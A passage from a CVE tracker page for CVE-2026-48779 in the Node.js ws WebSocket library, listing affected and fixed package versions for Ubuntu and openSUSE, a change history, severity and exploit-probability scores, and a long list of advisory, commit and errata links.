node-wsUbuntu:25.10 |
All versions, plus listed versions 8.18.0+~cs14.5.15-18.18.1+~cs14.18.2-1 |
None known |
node-wsUbuntu:26.10 |
All versions, plus listed versions 8.19.0+~cs14.19.1-18.20.1+~cs14.19.1-18.21.3+~cs14.19.1-1 |
None known |
node-wsUbuntu:26.04:LTS |
All versions, plus listed versions 8.18.1+~cs14.18.2-18.19.0+~cs14.19.1-1 |
None known |
python-nbclassicopenSUSE:Tumbleweed |
before 1.3.3-2.1 | 1.3.3-2.1 |
python-jupyter-ydocopenSUSE:Tumbleweed |
before 3.5.0-1.1 | 3.5.0-1.1 |
python-jupyterlab-templatesopenSUSE:Tumbleweed |
before 0.5.3-2.1 | 0.5.3-2.1 |
heroic-games-launcheropenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 2.22.0-3.1 | 2.22.0-3.1 |
python-ipymplopenSUSE:Tumbleweed |
before 0.10.0-18.1 | 0.10.0-18.1 |
python-bqplotopenSUSE:Tumbleweed |
before 0.13.1-15.1 | 0.13.1-15.1 |
agama-integration-testsopenSUSE:Tumbleweed From an advisory covering 4 CVEs |
before 1785848065.5562c7c-4.1 | 1785848065.5562c7c-4.1 |
kimi-codeopenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 0.41.0-1.1 | 0.41.0-1.1 |
python-pydata-sphinx-themeopenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 0.16.1-bp160.2.1 | 0.16.1-bp160.2.1 |
kimi-codeopenSUSE:Leap 16.0 From an advisory covering 2 CVEs |
before 0.42.0-bp160.1.1 | 0.42.0-bp160.1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | OSV | |
| affected | ||
| affected, facts | OSV | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-48779 is a high vulnerability (CVSS 7.5) in Websockets Ws, published June 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.43%, the 73rd percentile. Fixed in ws 5.2.5.
References
github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4p
github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7
github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53
github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94
github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8
access.redhat.com/security/cve/CVE-2026-48779
Show 194 moreShow less
bugzilla.redhat.com/show_bug.cgi?id=2489661
security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48779.json
access.redhat.com/errata/RHSA-2026:48151
access.redhat.com/errata/RHSA-2026:34342
access.redhat.com/errata/RHSA-2026:57590
access.redhat.com/errata/RHSA-2026:66545
access.redhat.com/errata/RHSA-2026:66488
access.redhat.com/errata/RHSA-2026:36754
access.redhat.com/errata/RHSA-2026:33574
access.redhat.com/errata/RHSA-2026:29197
access.redhat.com/errata/RHSA-2026:41928
access.redhat.com/errata/RHSA-2026:65126
access.redhat.com/errata/RHSA-2026:60520
access.redhat.com/errata/RHSA-2026:36820
access.redhat.com/errata/RHSA-2026:33155
access.redhat.com/errata/RHSA-2026:33160
access.redhat.com/errata/RHSA-2026:33163
access.redhat.com/errata/RHSA-2026:33173
access.redhat.com/errata/RHSA-2026:33183
access.redhat.com/errata/RHSA-2026:56431
access.redhat.com/errata/RHSA-2026:41941
access.redhat.com/errata/RHSA-2026:41944
access.redhat.com/errata/RHSA-2026:56366
access.redhat.com/errata/RHSA-2026:57013
access.redhat.com/errata/RHSA-2026:40984
access.redhat.com/errata/RHSA-2026:37272
nvd.nist.gov/vuln/detail/CVE-2026-48779
access.redhat.com/errata/RHSA-2026:27171
access.redhat.com/errata/RHSA-2026:26638
github.com/advisories/GHSA-96hv-2xvq-fx4p
github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48779.json
security-tracker.debian.org/tracker/CVE-2026-48779
github.com/websockets/ws
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=2455470
bugzilla.redhat.com/show_bug.cgi?id=2476810
bugzilla.redhat.com/show_bug.cgi?id=2477081
bugzilla.redhat.com/show_bug.cgi?id=2477914
bugzilla.redhat.com/show_bug.cgi?id=2487050
bugzilla.redhat.com/show_bug.cgi?id=2487946
bugzilla.redhat.com/show_bug.cgi?id=2488480
bugzilla.redhat.com/show_bug.cgi?id=2488934
bugzilla.redhat.com/show_bug.cgi?id=2493633
bugzilla.redhat.com/show_bug.cgi?id=2494197
bugzilla.redhat.com/show_bug.cgi?id=2494813
bugzilla.redhat.com/show_bug.cgi?id=2498116
bugzilla.redhat.com/show_bug.cgi?id=2498120
bugzilla.redhat.com/show_bug.cgi?id=2498122
bugzilla.redhat.com/show_bug.cgi?id=2498127
bugzilla.redhat.com/show_bug.cgi?id=2499682
bugzilla.redhat.com/show_bug.cgi?id=2500656
bugzilla.redhat.com/show_bug.cgi?id=2500695
bugzilla.redhat.com/show_bug.cgi?id=2506433
bugzilla.redhat.com/show_bug.cgi?id=2507595
bugzilla.redhat.com/show_bug.cgi?id=2510719
bugzilla.redhat.com/show_bug.cgi?id=2510722
bugzilla.redhat.com/show_bug.cgi?id=2510801
issues.redhat.com/browse/RHEL-238929
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_57590.json
access.redhat.com/security/cve/CVE-2026-9595
cve.org/CVERecord?id=CVE-2026-9595
nvd.nist.gov/vuln/detail/CVE-2026-9595
cna.openjsf.org/security-advisories.html
github.com/facebook/create-react-app/pull/7444
github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb
github.com/webpack/webpack-dev-server/pull/4316
github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79
access.redhat.com/security/cve/CVE-2026-12143
cve.org/CVERecord?id=CVE-2026-12143
nvd.nist.gov/vuln/detail/CVE-2026-12143
cwe.mitre.org/data/definitions/93.html
github.com/form-data/form-data/commit/64190db548c0179e37206858e39f27cf513e9435
github.com/form-data/form-data/commit/be3f3cf553978bac15a5182f1f3c3d2d38ccf229
github.com/form-data/form-data/commit/c7133499c2ee1b80c678e411244f4442bf902045
github.com/form-data/form-data/security/advisories/GHSA-hmw2-7cc7-3qxx
html.spec.whatwg.org/multipage/form-control-infrastructure.html
npmjs.com/package/form-data
access.redhat.com/security/cve/CVE-2026-13149
cve.org/CVERecord?id=CVE-2026-13149
nvd.nist.gov/vuln/detail/CVE-2026-13149
github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754
npmjs.com/package/brace-expansion
access.redhat.com/security/cve/CVE-2026-13676
cve.org/CVERecord?id=CVE-2026-13676
nvd.nist.gov/vuln/detail/CVE-2026-13676
github.com/fastify/fast-uri/security/advisories/GHSA-4c8g-83qw-93j6
access.redhat.com/security/cve/CVE-2026-14257
cve.org/CVERecord?id=CVE-2026-14257
nvd.nist.gov/vuln/detail/CVE-2026-14257
github.com/juliangruber/brace-expansion
github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5
access.redhat.com/security/cve/CVE-2026-34986
cve.org/CVERecord?id=CVE-2026-34986
nvd.nist.gov/vuln/detail/CVE-2026-34986
github.com/go-jose/go-jose/security/advisories/GHSA-78h2-9frx-2jm8
pkg.go.dev/github.com/go-jose/go-jose/v4
access.redhat.com/security/cve/CVE-2026-42338
cve.org/CVERecord?id=CVE-2026-42338
nvd.nist.gov/vuln/detail/CVE-2026-42338
github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g
access.redhat.com/security/cve/CVE-2026-42570
cve.org/CVERecord?id=CVE-2026-42570
nvd.nist.gov/vuln/detail/CVE-2026-42570
github.com/sveltejs/devalue/commit/206ca6712fbc380a4571c59de9ab04b91110792d
github.com/sveltejs/devalue/releases/tag/v5.8.1
github.com/sveltejs/devalue/security/advisories/GHSA-77vg-94rm-hx3p
access.redhat.com/security/cve/CVE-2026-44705
cve.org/CVERecord?id=CVE-2026-44705
nvd.nist.gov/vuln/detail/CVE-2026-44705
github.com/raszi/node-tmp/security/advisories/GHSA-ph9p-34f9-6g65
access.redhat.com/security/cve/CVE-2026-45623
cve.org/CVERecord?id=CVE-2026-45623
nvd.nist.gov/vuln/detail/CVE-2026-45623
github.com/postcss/postcss/security/advisories/GHSA-6g55-p6wh-862q
access.redhat.com/security/cve/CVE-2026-45736
cve.org/CVERecord?id=CVE-2026-45736
nvd.nist.gov/vuln/detail/CVE-2026-45736
github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086
github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx
access.redhat.com/security/cve/CVE-2026-45740
cve.org/CVERecord?id=CVE-2026-45740
nvd.nist.gov/vuln/detail/CVE-2026-45740
github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6
access.redhat.com/security/cve/CVE-2026-48068
cve.org/CVERecord?id=CVE-2026-48068
nvd.nist.gov/vuln/detail/CVE-2026-48068
github.com/grpc/grpc-node/security/advisories/GHSA-5375-pq7m-f5r2
cve.org/CVERecord?id=CVE-2026-48779
access.redhat.com/security/cve/CVE-2026-48801
cve.org/CVERecord?id=CVE-2026-48801
nvd.nist.gov/vuln/detail/CVE-2026-48801
github.com/markdown-it/linkify-it/commit/6be6d15e0641bf1daeaa977d500cabc743166159
github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4
access.redhat.com/security/cve/CVE-2026-49978
cve.org/CVERecord?id=CVE-2026-49978
nvd.nist.gov/vuln/detail/CVE-2026-49978
github.com/cure53/DOMPurify/commit/ca30f070c360df162a3e3848e80e6fd3c9e74bff
github.com/cure53/DOMPurify/releases/tag/3.4.7
github.com/cure53/DOMPurify/security/advisories/GHSA-rp9w-3fw7-7cwq
access.redhat.com/security/cve/CVE-2026-56876
cve.org/CVERecord?id=CVE-2026-56876
nvd.nist.gov/vuln/detail/CVE-2026-56876
github.com/ziad626/extract-zip-security-research/security/advisories/GHSA-x7jf-2287-qcpf
raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-177-01.json
access.redhat.com/security/cve/CVE-2026-59869
cve.org/CVERecord?id=CVE-2026-59869
nvd.nist.gov/vuln/detail/CVE-2026-59869
github.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7
github.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4
github.com/nodeca/js-yaml/releases/tag/3.15.0
github.com/nodeca/js-yaml/releases/tag/4.3.0
github.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m
access.redhat.com/security/cve/CVE-2026-59873
cve.org/CVERecord?id=CVE-2026-59873
nvd.nist.gov/vuln/detail/CVE-2026-59873
github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3
github.com/isaacs/node-tar/releases/tag/v7.5.19
github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw
access.redhat.com/security/cve/CVE-2026-59874
cve.org/CVERecord?id=CVE-2026-59874
nvd.nist.gov/vuln/detail/CVE-2026-59874
github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5
github.com/isaacs/node-tar/releases/tag/v7.5.18
github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w
access.redhat.com/security/cve/CVE-2026-59877
cve.org/CVERecord?id=CVE-2026-59877
nvd.nist.gov/vuln/detail/CVE-2026-59877
github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217
github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f
github.com/protobufjs/protobuf.js/pull/2352
github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5
github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6
github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww
access.redhat.com/security/cve/CVE-2026-69152
cve.org/CVERecord?id=CVE-2026-69152
nvd.nist.gov/vuln/detail/CVE-2026-69152
access.redhat.com/security/cve/CVE-2026-69153
cve.org/CVERecord?id=CVE-2026-69153
nvd.nist.gov/vuln/detail/CVE-2026-69153
access.redhat.com/security/cve/CVE-2026-69192
cve.org/CVERecord?id=CVE-2026-69192
nvd.nist.gov/vuln/detail/CVE-2026-69192
ubuntu.com/security/CVE-2026-48779
suse.com/security/cve/CVE-2026-48779
suse.com/security/cve/CVE-2026-13311
suse.com/security/cve/CVE-2026-13149
suse.com/security/cve/CVE-2026-27699
suse.com/security/cve/CVE-2026-53550
suse.com/security/cve/CVE-2026-45736
bugzilla.suse.com/1264374
bugzilla.suse.com/1268957
suse.com/security/cve/CVE-2026-6321
bugzilla.suse.com/1268927
bugzilla.suse.com/1269951
Left out here: 11 references. The JSON record has them.